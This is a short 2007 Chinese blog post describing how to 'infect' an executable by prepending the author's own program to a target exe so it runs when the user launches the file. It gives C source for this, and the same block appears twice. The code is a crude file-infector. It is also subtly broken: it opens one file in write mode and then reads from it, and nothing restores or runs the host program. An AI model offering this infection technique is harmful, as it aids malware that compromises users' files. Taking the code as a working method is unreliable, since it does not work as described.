如何实现可执行文件的感染
2007-04-11 16:45
197 查看
做了一个小程序实现的是对可执行程序的感染,原理很简单.test.exe是我们要感染的文件, 我们要把我们自己的一个文件添加到其前面去,就实现了如果用户点击这一文件,先执行我们的程序.
其相关代码如下:
#include<iostream.h>
#include<stdio.h>
#include<conio.h>
void main()
{
FILE *fp ;
FILE *fp1;
if( ( fp = fopen("test1.exe","wb") ) == NULL )
{
printf("ERROR /n");
return ;
}
if( ( fp1 = fopen("test2.exe","rb") ) == NULL )
{
printf("ERROR /n");
return ;
}
while(!feof(fp1))
{
fputc(fgetc(fp1),fp);
}
fclose(fp1);
FILE *fp2;
if( ( fp2 = fopen("test12.exe","wb") ) == NULL )
{
printf("ERROR /n");
return ;
}
while(!feof(fp2))
{
fputc(fgetc(fp2),fp);
}
fclose(fp2);
fclose(fp);
}
其相关代码如下:
#include<iostream.h>
#include<stdio.h>
#include<conio.h>
void main()
{
FILE *fp ;
FILE *fp1;
if( ( fp = fopen("test1.exe","wb") ) == NULL )
{
printf("ERROR /n");
return ;
}
if( ( fp1 = fopen("test2.exe","rb") ) == NULL )
{
printf("ERROR /n");
return ;
}
while(!feof(fp1))
{
fputc(fgetc(fp1),fp);
}
fclose(fp1);
FILE *fp2;
if( ( fp2 = fopen("test12.exe","wb") ) == NULL )
{
printf("ERROR /n");
return ;
}
while(!feof(fp2))
{
fputc(fgetc(fp2),fp);
}
fclose(fp2);
fclose(fp);
}
相关文章推荐
- 我做了一个EXE文件,想在SQL Server上定时执行这个EXE文件,如何实现
- 一个操作系统的实现(1):分析linux下如何运行一个执行文件
- 如何简单实现可执行文件的自我删除
- 如何在C#中用程序执行指定的SQL脚本文件,实现自动安装创建数据库
- 如何实现在任意一个目录下都可以执行想要执行的文件
- 如何用c实现可执行文件的复制
- 如何简单实现可执行文件的自我删除
- 如何简单实现可执行文件的自我删除
- 如何"借他人之手"实现可执行文件的自我删除
- 如何将sql执行的错误消息记录到本地文件中实现过程
- 在批处理文件里面如何控制延时执行指令(也就是实现sleep)
- 如何实现点击Winform程序窗体中的一个按钮,执行这个exe文件?
- java之如何实现调用启动一个可执行文件,exe
- 一个操作系统的实现(1):分析linux下如何运行一个执行文件
- 【升级版】如何使用阿里云云解析API实现动态域名解析,搭建私有服务器【含可执行文件和源码】
- 如何简单实现可执行文件的自我删除
- 如何简单实现可执行文件的自我删除
- 如何使用 paramiko 模块来实现远程执行OS命令和文件上传下载?
- 如何在C#中用程序执行指定的SQL脚本文件,实现自动安装创建数据库.txt